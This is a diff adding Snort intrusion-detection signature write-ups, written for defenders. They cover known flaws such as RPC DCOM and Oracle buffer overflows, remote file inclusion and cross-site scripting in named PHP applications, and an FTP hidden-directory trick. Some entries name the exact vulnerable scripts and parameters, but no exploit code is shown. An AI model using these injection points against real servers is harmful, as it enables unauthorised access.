+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000827.txt
+++ snort-2.8.5.2/doc/signatures/100000827.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000827
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "HiveMail" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "email" parameter in the "address.view.php" script used by the "HiveMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using HiveMail
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3354.txt
+++ snort-2.8.5.2/doc/signatures/3354.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3354
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2444.txt
+++ snort-2.8.5.2/doc/signatures/2444.txt
@@ -0,0 +1,82 @@
+Rule:  
+
+--
+Sid:
+2444
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in multiple versions of Internet Security Systems software.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible leading to unauthorized 
+access to the affected host. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the way that multiple ISS products parse ICQ
+messages. This can lead to execution of arbitrary code on hosts using
+the affected products.
+
+Due to insufficient bounds checking when ISS products parse protocol
+fields in ICQ SRV_META_USER data, a buffer overflow condition can be
+exploited to give an attacker the opportunity to execute arbitrary code
+and gain unauthorized administrative access to the host.
+
+It is possible that this condition can be exploited without the need for
+an established and valid ICQ session. The attacker could create packets
+originating from a host on port 4000 and send specially crafted data to 
+exploit the condition.
+
+--
+Affected Systems:
+	RealSecure Network 7.0, XPU 22.11 and prior
+	RealSecure Server Sensor 7.0 XPU 22.11 and prior
+	RealSecure Server Sensor 6.5 for Windows SR 3.10 and prior
+	Proventia A Series XPU 22.11 and prior
+	Proventia G Series XPU 22.11 and prior
+	Proventia M Series XPU 1.9 and prior
+	RealSecure Desktop 7.0 ebl and prior
+	RealSecure Desktop 3.6 ecf and prior
+	RealSecure Guard 3.6 ecf and prior
+	RealSecure Sentry 3.6 ecf and prior
+	BlackICE Agent for Server 3.6 ecf and prior
+	BlackICE PC Protection 3.6 ccf and prior
+	BlackICE Server Protection 3.6 ccf and prior
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2723.txt
+++ snort-2.8.5.2/doc/signatures/2723.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2723
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_char
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/832.txt
+++ snort-2.8.5.2/doc/signatures/832.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+832
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3348.txt
+++ snort-2.8.5.2/doc/signatures/3348.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3348
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000464.txt
+++ snort-2.8.5.2/doc/signatures/100000464.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000464
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "LoveCompass AEPartner" application running on a 
+webserver. Access to the file "design.inc.php" using a remote file being passed 
+as the "dir[data]" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "dir[data]" parameter in the "design.inc.php" script 
+used by the "LoveCompass AEPartner" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using LoveCompass AEPartner
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2158.txt
+++ snort-2.8.5.2/doc/signatures/2158.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+2158
+
+--
+Summary:
+This event is generated when an invalid BGP session is detected. 
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event indicates that an invalid Border Gateway Protocol (BGP) packet has been detected.
+
+BGP packets must have a datasize of at least 20 bytes. This event indicates that a BGP packet was detected with a datasize less than this amount. TCPDump may enter an endless loop trying to process this packet.
+
+--
+Affected Systems:
+This BGP packet may cause problems with TCPDump.
+
+--
+Attack Scenarios:
+An attacker would need to craft a special BGP packet with a type of 0 or a datasize of less than 20 bytes.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2609.txt
+++ snort-2.8.5.2/doc/signatures/2609.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2609
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "cancel_statistics" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by long strings in some parameters for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to either the "sname" or
+"oname" variables to cause the overflow. The result could
+permit the attacker to gain escalated privileges and run code of their
+choosing. This attack requires an attacker to logon to the database
+with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck633.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1561.txt
+++ snort-2.8.5.2/doc/signatures/1561.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1561
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1548.txt
+++ snort-2.8.5.2/doc/signatures/1548.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1548
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000517.txt
+++ snort-2.8.5.2/doc/signatures/100000517.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000517
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "e107" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "ep" parameter in the "search.php" script used 
+by the "e107" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using e107
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2017.txt
+++ snort-2.8.5.2/doc/signatures/2017.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2017
+
+--
+Summary:
+Embedded Support Partner (ESP) is an integral part of the SGI IRIX 
+operating system to enable remote support for the operating system
+
+A vulnerability exists in the Embedded Support Partner Daemon (ESP) that
+could lead to arbitrary commands being executed on a target host.
+
+--
+Impact:
+Remote super user access leading to a compromise of the target machine 
+along with any network resources that machine is connected to.
+
+--
+Detailed Information:
+The ESP daemon is an RPC (Remote Procedure Call) resource used on SGI 
+IRIX systems. The ESP daemon runs with the privileges of the root user. 
+IRIX version 6.5.8 and prior are susceptible to a buffer overflow of the
+ESP daemon leading to a remote root compromise of the affected host.
+
+--
+Affected Systems:
+SGI IRIX 6.5.8 and earlier.
+
+--
+Attack Scenarios:
+The attacker would need to craft a packet that would lead to the buffer
+overflow. No current exploits are available.
+
+--
+Ease of Attack:
+Difficult
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+All systems running vulnerable versions of rpc.espd should have the appropriate patch applied. 
+
+Additionally, the ESP daemon should be disabled where not needed by 
+commenting out the appropriate line in inetd.conf. The daemon itself can
+be made non-executable by removal of the x bit (chmod -x rpc.espd).
+
+RPC services should not be available outside the local area network, 
+filter RPC ports at the firewall to ensure access is denied to RPC 
+enabled machines.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0331
+
+Bugtraq:
+http://www.securityfocus.com/bid/2714
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000753.txt
+++ snort-2.8.5.2/doc/signatures/100000753.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000753
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Free QBoard" application running on a webserver. Access to the file "delete.php" using a remote file being passed as the "qb_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "qb_path" parameter in the "delete.php" script used by the "Free QBoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Free QBoard
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2332.txt
+++ snort-2.8.5.2/doc/signatures/2332.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 
+2332
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an FTP server.
+
+--
+Impact:
+Possible execution of arbitrary code.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious
+activity in FTP traffic between hosts.
+
+It is possible for a user to supply data to an FTP ommand and have it
+interpreted as code. The attacker might then be able to run code of
+their choosing with the privileges of the user running the FTP service.
+
+--
+Affected Systems:
+	PlatinumFTP PlatinumFTPserver 1.0.18
+
+--
+Attack Scenarios:
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a 
+host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/842.txt
+++ snort-2.8.5.2/doc/signatures/842.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+842
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/935.txt
+++ snort-2.8.5.2/doc/signatures/935.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+935
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2418.txt
+++ snort-2.8.5.2/doc/signatures/2418.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+
+--
+Summary:
+This event is generated when an attempt is made to connect to a
+Microsoft Terminal Server without using encryption.
+
+--
+Impact:
+Serious. Denial of Service.
+
+--
+Detailed Information:
+Microsoft Windows Terminal Server for NT systems fails to correctly
+validate RDP data from client machines that do not use encryption.
+
+--
+Affected Systems:
+	Microsoft Windows Terminal Server
+
+--
+Attack Scenarios:
+An attacker can use one of the publicly available exploit scripts to
+cause the DoS.
+
+--
+Ease of Attack:
+Simple. Exploit software exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patch.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/554.txt
+++ snort-2.8.5.2/doc/signatures/554.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+554
+
+--
+Summary: 
+This event is generated when an attempt is made to create a directory name that begins with a "/ " on an FTP server.
+
+
+--
+Impact: 
+Unauthorized file storage.  An attacker may attempt to create a directory name that begins with "/ " on an FTP server, possibly in preparation to store unauthorized files.
+
+--
+Detailed Information: 
+An attacker may attempt to create a hidden directory name that begins with "/ " on an FTP server .  This hidden directory is hard to discover, permitting attackers to store unauthorized "warez" files, such as unlicensed or pirated software.
+
+--
+Affected Systems: 
+FTP servers
+
+--
+Attack Scenarios: 
+An attacker may attempt to create a hidden directory name that begins with "/ " to store unauthorized files.
+
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives: 
+None Known.
+
+--
+False Negatives: 
+Hidden directories other than those with a name that begins with a "/ " may be created to store "warez" files.
+
+--
+Corrective Action: 
+Assign restrictive permissions to all directories so unauthorized users cannot navigate or write to them.
+
+Regularly monitor directories for sudden or drastic increased use of space.
+
+--
+Contributors: 
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1263.txt
+++ snort-2.8.5.2/doc/signatures/1263.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1263
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) amountd (also known as autofsd) is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port amountd is using.  Attackers can also learn what versions of the amountd protocol are accepted by amountd. 
+
+--
+Detailed Information:
